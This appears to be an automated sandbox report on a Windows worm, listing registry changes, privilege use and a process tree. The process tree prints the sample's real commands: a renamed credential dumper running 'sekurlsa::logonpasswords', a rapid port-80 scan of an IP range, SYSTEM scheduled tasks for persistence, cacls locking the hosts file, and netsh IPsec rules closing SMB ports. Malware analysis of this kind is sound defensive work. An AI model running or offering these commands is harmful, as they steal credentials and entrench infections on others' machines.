\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language brqprlqns.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zefhau.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 6e21507a371cfdcd43f06d7563afa9d0N.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language acrtghepr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language qjyiybe.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3008 cmd.exe 2996 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x00080000000234c7-6.dat nsis_installer_2 behavioral2/files/0x00070000000234ce-15.dat nsis_installer_1 behavioral2/files/0x00070000000234ce-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 39 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ qjyiybe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" qjyiybe.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing qjyiybe.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" qjyiybe.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" qjyiybe.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" qjyiybe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump pncfsyeys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" pncfsyeys.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" qjyiybe.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2996 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1432 schtasks.exe 2408 schtasks.exe 3232 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
description pid Process Token: SeDebugPrivilege 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe Token: SeDebugPrivilege 3612 qjyiybe.exe Token: SeDebugPrivilege 1192 qjyiybe.exe Token: SeDebugPrivilege 220 vfshost.exe Token: SeDebugPrivilege 4452 pncfsyeys.exe Token: SeLockMemoryPrivilege 4596 hifrqs.exe Token: SeLockMemoryPrivilege 4596 hifrqs.exe Token: SeDebugPrivilege 2592 pncfsyeys.exe Token: SeDebugPrivilege 3516 pncfsyeys.exe Token: SeDebugPrivilege 1628 pncfsyeys.exe Token: SeDebugPrivilege 4860 pncfsyeys.exe Token: SeDebugPrivilege 3136 pncfsyeys.exe Token: SeDebugPrivilege 4000 pncfsyeys.exe Token: SeDebugPrivilege 3232 pncfsyeys.exe Token: SeDebugPrivilege 3236 pncfsyeys.exe Token: SeDebugPrivilege 4856 pncfsyeys.exe Token: SeDebugPrivilege 4444 pncfsyeys.exe Token: SeDebugPrivilege 1980 pncfsyeys.exe Token: SeDebugPrivilege 4012 pncfsyeys.exe Token: SeDebugPrivilege 2728 pncfsyeys.exe Token: SeDebugPrivilege 2840 pncfsyeys.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe 3612 qjyiybe.exe 3612 qjyiybe.exe 1192 qjyiybe.exe 1192 qjyiybe.exe 2244 xohudmc.exe 4568 zefhau.exe 2412 qjyiybe.exe 2412 qjyiybe.exe 3632 qjyiybe.exe 3632 qjyiybe.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3136 wrote to memory of 3008 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe 84 PID 3136 wrote to memory of 3008 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe 84 PID 3136 wrote to memory of 3008 3136 6e21507a371cfdcd43f06d7563afa9d0N.exe 84 PID 3008 wrote to memory of 2996 3008 cmd.exe 87 PID 3008 wrote to memory of 2996 3008 cmd.exe 87 PID 3008 wrote to memory of 2996 3008 cmd.exe 87 PID 3008 wrote to memory of 3612 3008 cmd.exe 89 PID 3008 wrote to memory of 3612 3008 cmd.exe 89 PID 3008 wrote to memory of 3612 3008 cmd.exe 89 PID 1192 wrote to memory of 4500 1192 qjyiybe.exe 91 PID 1192 wrote to memory of 4500 1192 qjyiybe.exe 91 PID 1192 wrote to memory of 4500 1192 qjyiybe.exe 91 PID 4500 wrote to memory of 1164 4500 cmd.exe 93 PID 4500 wrote to memory of 1164 4500 cmd.exe 93 PID 4500 wrote to memory of 1164 4500 cmd.exe 93 PID 4500 wrote to memory of 4132 4500 cmd.exe 94 PID 4500 wrote to memory of 4132 4500 cmd.exe 94 PID 4500 wrote to memory of 4132 4500 cmd.exe 94 PID 4500 wrote to memory of 4376 4500 cmd.exe 95 PID 4500 wrote to memory of 4376 4500 cmd.exe 95 PID 4500 wrote to memory of 4376 4500 cmd.exe 95 PID 4500 wrote to memory of 876 4500 cmd.exe 96 PID 4500 wrote to memory of 876 4500 cmd.exe 96 PID 4500 wrote to memory of 876 4500 cmd.exe 96 PID 4500 wrote to memory of 4968 4500 cmd.exe 97 PID 4500 wrote to memory of 4968 4500 cmd.exe 97 PID 4500 wrote to memory of 4968 4500 cmd.exe 97 PID 4500 wrote to memory of 3112 4500 cmd.exe 98 PID 4500 wrote to memory of 3112 4500 cmd.exe 98 PID 4500 wrote to memory of 3112 4500 cmd.exe 98 PID 1192 wrote to memory of 3232 1192 qjyiybe.exe 99 PID 1192 wrote to memory of 3232 1192 qjyiybe.exe 99 PID 1192 wrote to memory of 3232 1192 qjyiybe.exe 99 PID 1192 wrote to memory of 2288 1192 qjyiybe.exe 101 PID 1192 wrote to memory of 2288 1192 qjyiybe.exe 101 PID 1192 wrote to memory of 2288 1192 qjyiybe.exe 101 PID 1192 wrote to memory of 2932 1192 qjyiybe.exe 103 PID 1192 wrote to memory of 2932 1192 qjyiybe.exe 103 PID 1192 wrote to memory of 2932 1192 qjyiybe.exe 103 PID 1192 wrote to memory of 4920 1192 qjyiybe.exe 105 PID 1192 wrote to memory of 4920 1192 qjyiybe.exe 105 PID 1192 wrote to memory of 4920 1192 qjyiybe.exe 105 PID 4920 wrote to memory of 4808 4920 cmd.exe 107 PID 4920 wrote to memory of 4808 4920 cmd.exe 107 PID 4920 wrote to memory of 4808 4920 cmd.exe 107 PID 4808 wrote to memory of 388 4808 wpcap.exe 108 PID 4808 wrote to memory of 388 4808 wpcap.exe 108 PID 4808 wrote to memory of 388 4808 wpcap.exe 108 PID 388 wrote to memory of 4124 388 net.exe 110 PID 388 wrote to memory of 4124 388 net.exe 110 PID 388 wrote to memory of 4124 388 net.exe 110 PID 4808 wrote to memory of 744 4808 wpcap.exe 111 PID 4808 wrote to memory of 744 4808 wpcap.exe 111 PID 4808 wrote to memory of 744 4808 wpcap.exe 111 PID 744 wrote to memory of 1008 744 net.exe 113 PID 744 wrote to memory of 1008 744 net.exe 113 PID 744 wrote to memory of 1008 744 net.exe 113 PID 4808 wrote to memory of 4428 4808 wpcap.exe 114 PID 4808 wrote to memory of 4428 4808 wpcap.exe 114 PID 4808 wrote to memory of 4428 4808 wpcap.exe 114 PID 4428 wrote to memory of 324 4428 net.exe 116 PID 4428 wrote to memory of 324 4428 net.exe 116 PID 4428 wrote to memory of 324 4428 net.exe 116 PID 4808 wrote to memory of 2604 4808 wpcap.exe 117
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2164
-
C:\Windows\TEMP\qhicbfrpg\hifrqs.exe"C:\Windows\TEMP\qhicbfrpg\hifrqs.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4596
-
-
C:\Users\Admin\AppData\Local\Temp\6e21507a371cfdcd43f06d7563afa9d0N.exe"C:\Users\Admin\AppData\Local\Temp\6e21507a371cfdcd43f06d7563afa9d0N.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3136 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\kfqsrbhr\qjyiybe.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2996
-
-
C:\Windows\kfqsrbhr\qjyiybe.exeC:\Windows\kfqsrbhr\qjyiybe.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3612
-
-
-
C:\Windows\kfqsrbhr\qjyiybe.exeC:\Windows\kfqsrbhr\qjyiybe.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1164
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:4132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4376
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:876
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4968
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:3112
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3232
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2288
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2932
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exeC:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
PID:4124
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:1008
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:324
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2604
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:4404
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:4416
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:4800 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:704
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:4868
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:4612 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:3780
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\szlnqtttb\nsrrqrtgu\Scant.txt2⤵PID:1368
-
C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exeC:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\szlnqtttb\nsrrqrtgu\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4472
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\szlnqtttb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\szlnqtttb\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:3528 -
C:\Windows\szlnqtttb\Corporate\vfshost.exeC:\Windows\szlnqtttb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tfqslbapq" /ru system /tr "cmd /c C:\Windows\ime\qjyiybe.exe"2⤵PID:816
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4856
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "tfqslbapq" /ru system /tr "cmd /c C:\Windows\ime\qjyiybe.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2408
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "rbuknnesu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:5104 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:548
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "rbuknnesu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\kfqsrbhr\qjyiybe.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3232
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "festwvqby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:3236 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1508
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "festwvqby" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\qhicbfrpg\hifrqs.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1432
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4972
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2508
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1152
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4356
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3328
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4792
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2424
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1736
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4124
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4584
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3932
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4036
-
-
